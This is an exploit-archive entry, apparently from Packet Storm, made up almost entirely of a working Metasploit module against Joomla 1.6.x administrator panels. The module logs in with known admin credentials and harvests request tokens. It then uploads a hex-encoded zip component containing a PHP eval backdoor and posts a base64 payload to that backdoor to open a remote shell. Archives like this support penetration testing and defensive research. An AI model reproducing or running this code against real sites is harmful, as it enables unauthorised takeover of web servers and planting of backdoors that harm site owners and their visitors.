Joomla 1.6.x Administrator PHP Code Execution

2011-05-31T00:00:00
ID PACKETSTORM:101836
Type packetstorm
Reporter James Bercegay
Modified 2011-05-31T00:00:00

Description

                                        
                                            `# Requirements  
require 'msf/core'  
  
# Class declaration  
class Metasploit3 < Msf::Exploit::Remote  
  
# Includes  
include Msf::Exploit::Remote::HttpClient  
  
# Initialize module  
def initialize(info = {})  
  
# Initialize information  
super(update_info(info,  
'Name' => 'Joomla 1.6.* Administrator PHP Code Execution',  
'Description' => %q{  
This module can be used to gain a remote shell to a Joomla! 1.6.* install when  
administrator credentials are known. This is acheived by uploading a malicious  
component which is used to execute the selected payload.  
},  
'Author' =>   
[   
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'  
],  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
# Required  
OptString.new('JDIR', [true, 'Joomla directory', '/']),  
OptString.new('JUSR', [true, 'Joomla admin username', nil]),  
OptString.new('JPWD', [true, 'Joomla admin password', nil]),  
  
# Optional  
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),  
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),  
], self.class)  
end  
#################################################  
  
# Extract "Set-Cookie"  
def init_cookie(data, cstr = true)  
  
# Raw request? Or cookie data specifically?  
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data  
  
# Beginning  
if ( data )  
  
# Break them apart  
data = data.split(', ')  
  
# Initialize  
ctmp = ''  
tmps = {}  
  
# Parse cookies  
data.each do | x |  
  
# Remove extra data  
x = x.split(';')[0]  
  
# Seperate cookie pairs  
if ( x =~ /([^;\s]+)=([^;\s]+)/im )  
  
# Key  
k = $1  
  
# Val  
v = $2  
  
# Valid cookie value?  
if ( v.length() > 0 )  
  
# Build cookie hash  
tmps[k] = v  
  
# Report cookie status  
print_status("Got Cookie: #{k} => #{v}");  
end  
end  
end  
  
# Build string data  
if ( cstr == true )  
  
# Loop  
tmps.each do |x,y|   
  
# Cookie key/value  
ctmp << "#{x}=#{y};"   
end  
  
# Assign  
tmps['cstr'] = ctmp  
end  
  
# Return  
return tmps  
else  
# Something may be wrong  
init_debug("No cookies within the given response")  
end  
end  
  
#################################################  
  
# Simple debugging output  
def init_debug(resp, exit = 0)  
  
# is DBUG set? Check it  
if ( datastore['DBUG'] )  
  
# Print debugging data  
print_status("######### DEBUG! ########")  
pp resp  
print_status("#########################")  
end  
  
# Continue execution  
if ( exit.to_i > 0 )  
  
# Exit  
exit(0)  
end  
  
end  
  
#################################################  
  
# Generic post wrapper  
def http_post(url, data, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "application/x-www-form-urlencoded"  
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout )  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic post multipart wrapper   
def http_post_multipart(url, data, headers = {}, timeout = 15)  
  
# Boundary string  
bndr = Rex::Text.rand_text_alphanumeric(8)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Content-Type  
headers['Content-Type'] = headers['Content-Type'] ?   
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value  
if ( !hval )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Init  
temp = ''  
  
# Parse form values  
data.each do |name, value|  
  
# Hash means file data  
if ( value.is_a?(Hash) )  
  
# Validate form fields  
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)  
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)  
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)  
encoding = value['encoding'] ? value['encoding']: "Binary"  
  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"  
temp << "Content-Type: #{mimetype}\r\n"  
temp << "Content-Transfer-Encoding: #{encoding}\r\n"  
temp << "\r\n"  
temp << "#{contents}\r\n"  
  
else  
# Build multipart data  
temp << "--#{bndr}\r\n"  
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"  
temp << "\r\n"  
temp << "#{value}\r\n"  
end  
end  
  
# Complete the form data  
temp << "--#{bndr}--\r\n"  
  
# Assigned  
data = temp   
  
# Determine Content-Length  
headers['Content-Length'] = data.length  
  
# Send request  
resp = send_request_raw(  
{  
'uri' => datastore['JDIR'] + url,  
'method' => 'POST',  
'data' => data,  
'headers' => headers  
},   
timeout)  
  
# Returned  
return resp  
  
end  
  
#################################################  
  
# Generic get wrapper  
def http_get(url, headers = {}, timeout = 15)  
  
# Protocol  
proto = datastore['SSL'] ? 'https': 'http'   
  
# Determine request url  
url = url.length ? url: ''  
  
# Determine User-Agent  
headers['User-Agent'] = headers['User-Agent'] ?   
headers['User-Agent'] : datastore['AGNT']  
  
# Determine Referer  
headers['Referer'] = headers['Referer'] ?   
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"  
  
# Delete all the null headers  
headers.each do | hkey, hval |  
  
# Null value // Also, remove post specific data, due to a bug ...  
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )  
  
# Delete header key  
headers.delete(hkey)  
end  
end  
  
# Send request  
resp = send_request_raw({  
'uri' => datastore['JDIR'] + url,  
'headers' => headers,  
'method' => 'GET',  
}, timeout)  
  
# Returned  
return resp  
  
end  
#################################################   
  
def check  
  
# Banner grab request  
resp = http_get("index.php")  
  
# Extract Joomla version information  
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )  
  
# Version  
vers = $1.strip   
  
# Version "parts"  
ver1, ver2, ver3 = vers.split(/\./)  
  
# Only if 1.6.0 aka 1.6  
if ( ver2.to_i != 6 )  
  
# Safe  
print_error("Only compatible with the Joomla 1.6 branch")  
return Exploit::CheckCode::Safe  
else  
  
# Vulnerable  
return Exploit::CheckCode::Vulnerable  
end  
else  
  
# Verbose  
print_error("Unable to determine Joomla version ...")  
return Exploit::CheckCode::Safe  
end  
end  
  
#################################################  
  
def exploit  
  
# Numeric test string  
tstr = Time.now.to_i.to_s  
  
# MD5 test string  
tmd5 = Rex::Text.md5(tstr)  
  
# Encoded payload  
load = payload.encoded  
  
# Credentials  
user = datastore['JUSR']  
pass = datastore['JPWD']  
  
# Verbose   
print_status("Attempting to extract a valid request token")  
  
# Request a valid token  
resp = http_get("administrator/index.php")  
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp)  
return  
end  
  
# Init cookie  
cook = init_cookie(resp)  
  
# Build headers for authenticated session  
hdrs = { "Cookie" => cook['cstr'] }  
  
# Verbose  
print_status("Attempting to login as: #{user}")   
  
# Post data for login request  
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"  
  
# Login request  
resp = http_post("administrator/index.php", post, hdrs)  
  
# Authentication successful???  
if ( resp && resp.code == 303 )  
  
# Success  
print_status("Successfully logged in as: #{user}")   
else  
  
# Failure  
print_error("Unable to authenticate. Exploit failed!")  
init_debug(resp)  
return  
end   
  
# Verbose   
print_status("Attempting to extract refreshed request token")  
  
# Request a valid token (again)  
resp = http_get("administrator/index.php?option=com_installer", hdrs)   
  
# Extract token  
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )  
  
# Token  
rtok = $1  
  
# Verbose  
print_status("Got token: #{rtok}")  
else  
  
# Failure  
print_error("Unable to extract request token. Exploit failed!")  
init_debug(resp.body)  
return  
end  
  
# Component specific data  
cstr = "joomla"  
czip = "com_#{cstr}.zip"  
curi = "components/com_#{cstr}/#{cstr}.php"   
  
#################################################  
# Our Joomla specific PHP payload wrapper that is  
# used to have more flexibility when delivering a  
# selected payload to a target. The wrapper is in   
# the Joomla! 1.6 compononent format and can also   
# be used with other Joomla exploits.  
#################################################  
#  
# Type: Joomla 1.6 Component  
# File: com_joomla/joomla.xml <-- installer file  
# com_joomla/joomla.php <-- component file  
#  
# Data: <?php  
# # Modify settings  
# error_reporting(0);  
# ini_set('max_execution_time', 0);  
#  
# # Execute the selected payload, and delete the wrapper  
# @eval(base64_decode(file_get_contents('php://input')));  
# ?>  
#################################################  
  
# Hex encoded component zip data  
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"  
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"  
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"  
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"  
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"  
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"  
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"  
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"  
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"  
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"  
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"  
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"  
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"  
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"  
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"  
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"  
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"  
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"  
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"  
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"  
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"  
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"  
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"  
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"  
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"  
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"  
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"  
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"  
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"  
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"  
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"  
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"  
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"  
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"  
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"  
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"  
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"  
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"  
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"  
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"  
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"  
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"  
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"  
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"  
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"  
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"  
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"  
  
# Verbose  
print_status("Attempting to upload payload wrapper component")  
  
# Post data  
data = {  
  
# Component data  
'install_package' =>   
{   
'filename' => czip,  
'contents' => wrap,  
'mimetype' => 'application/zip',  
'encoding' => 'binary',  
},  
  
# Required install params  
"installtype" => "upload",  
"task" => "install.install",  
"#{rtok}" => "1",  
}  
  
# Upload the wrapper component  
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))  
  
# Deliver the selected payload to the target  
init_debug(http_post(curi, Rex::Text.encode_base64(load)))  
  
# Shell  
handler  
end  
end`